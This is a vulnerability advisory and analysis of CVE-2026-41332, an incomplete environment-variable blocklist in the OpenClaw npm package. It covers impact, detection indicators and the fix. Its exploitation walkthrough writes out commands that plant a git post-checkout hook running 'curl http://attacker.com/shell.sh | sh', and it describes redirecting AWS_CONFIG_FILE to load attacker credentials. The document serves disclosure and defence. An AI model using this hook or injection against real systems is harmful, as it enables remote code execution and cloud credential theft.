CVE-2026-41332: 
OpenClaw (formerly Moltbot or Clawdbot) vulnerability analysis and mitigation

CVE-2026-41332 is an environment variable sanitization vulnerability in OpenClaw (npm package) where GIT_TEMPLATE_DIR and AWS_CONFIG_FILE are absent from the host-env blocklist, enabling low-privileged local attackers to redirect git or AWS CLI behavior through attacker-controlled configuration files to execute untrusted code or load malicious credentials. It affects all OpenClaw versions prior to 2026.3.28 (specifically <= 2026.3.24). The vulnerability was published on April 23, 2026, with a patch released in version 2026.3.28. It carries a CVSS v3.1 base score of 5.3 (Medium) and a CVSS v4.0 base score of 5.8 (Medium) (GitHub Advisory, Feedly).

The root cause is CWE-184 (Incomplete List of Disallowed Inputs): OpenClaw's host execution environment security policy (src/infra/host-env-security-policy.json and src/infra/host-env-security.ts) failed to block GIT_TEMPLATE_DIR and AWS_CONFIG_FILE from being passed through to child processes during approved exec requests. An attacker with local access and low privileges can set these environment variables to point to attacker-controlled paths — causing git to load malicious template hooks (enabling arbitrary code execution) or causing the AWS CLI to load attacker-specified credential files (enabling credential theft). Exploitation requires high attack complexity due to the need to craft and position malicious configuration files, but no user interaction is needed. The fix was introduced in commit 6eb82fba3c ("Infra: block additional host exec env keys") (GitHub Advisory).

Successful exploitation allows a low-privileged local attacker to execute arbitrary untrusted code via git template hooks or load attacker-selected AWS credentials, leading to high integrity impact and low confidentiality impact on the affected system. The integrity impact is significant because an attacker can manipulate git operations to run malicious scripts, potentially compromising the build pipeline or CI/CD environment. Credential compromise via AWS_CONFIG_FILE manipulation could enable lateral movement into cloud infrastructure. Availability is not directly impacted (GitHub Advisory, Feedly).

There is no known public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Feedly). The vulnerability was reported by researcher nicky-cc of Tencent Zhuque Lab (AI-Infra-Guard project) (GitHub Advisory). The EPSS score is approximately 0.015% (0.000150), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Gain local access: Obtain a low-privileged account on a system running OpenClaw (npm) version <= 2026.3.24.
2. Create malicious git template directory: Craft a git template directory containing a malicious hook script (e.g., hooks/post-checkout) that executes attacker-controlled commands.

   mkdir -p /tmp/evil-template/hooks
   echo '#!/bin/sh\ncurl http://attacker.com/shell.sh | sh' > /tmp/evil-template/hooks/post-checkout
   chmod +x /tmp/evil-template/hooks/post-checkout

3. Set the environment variable: Set GIT_TEMPLATE_DIR=/tmp/evil-template in the environment passed to an approved OpenClaw exec request, exploiting the missing blocklist entry.
4. Trigger an approved exec request: Initiate a git operation through OpenClaw that processes the exec request with the injected environment variable, causing git to use the malicious template directory.
5. Achieve code execution: The malicious hook script executes in the context of the OpenClaw process, enabling arbitrary command execution, data exfiltration, or further lateral movement.
6. Alternative — credential theft via AWS_CONFIG_FILE: Set AWS_CONFIG_FILE=/tmp/evil-aws-config pointing to a crafted AWS config that redirects CLI calls to an attacker-controlled endpoint or loads malicious credentials, enabling cloud infrastructure access (GitHub Advisory).

• File System: Unexpected directories in /tmp or user-writable paths containing git hook scripts (e.g., hooks/post-checkout, hooks/pre-commit); unusual AWS config files in non-standard locations referenced by processes.
• Process: Child processes spawned by OpenClaw's Node.js process executing unexpected commands (e.g., curl, wget, bash, sh) following git operations; AWS CLI invocations referencing non-standard config file paths.
• Logs: OpenClaw exec logs showing environment variables GIT_TEMPLATE_DIR or AWS_CONFIG_FILE set to non-standard or user-writable paths; git operations referencing unexpected template directories in git debug output (GIT_TRACE=1).
• Network: Unexpected outbound connections from the OpenClaw host to unknown external IPs following git or AWS CLI operations, potentially indicating reverse shell or data exfiltration activity.

Upgrade OpenClaw (npm) to version 2026.3.28 or later, which adds GIT_TEMPLATE_DIR and AWS_CONFIG_FILE to the host-env blocklist via commit 6eb82fba3c. As interim mitigations, restrict local user access to systems running OpenClaw, apply the principle of least privilege, and monitor for suspicious git and AWS CLI operations. Organizations should also audit their OpenClaw exec request configurations to ensure no untrusted environment variables are being passed through (GitHub Advisory).

The vulnerability was discovered and responsibly disclosed by researcher nicky-cc of Tencent Zhuque Lab's AI-Infra-Guard project, reflecting growing security research focus on AI infrastructure tooling (GitHub Advisory). The GitHub advisory (GHSA-wcm7-94wg-h74h) was subsequently withdrawn on May 4, 2026, as it was identified as a duplicate of GHSA-6p8r-6m93-557f, with the canonical advisory being GHSA-m866-6qv5-p2fg (Feedly). No significant broader media coverage or social media discussion has been observed for this vulnerability.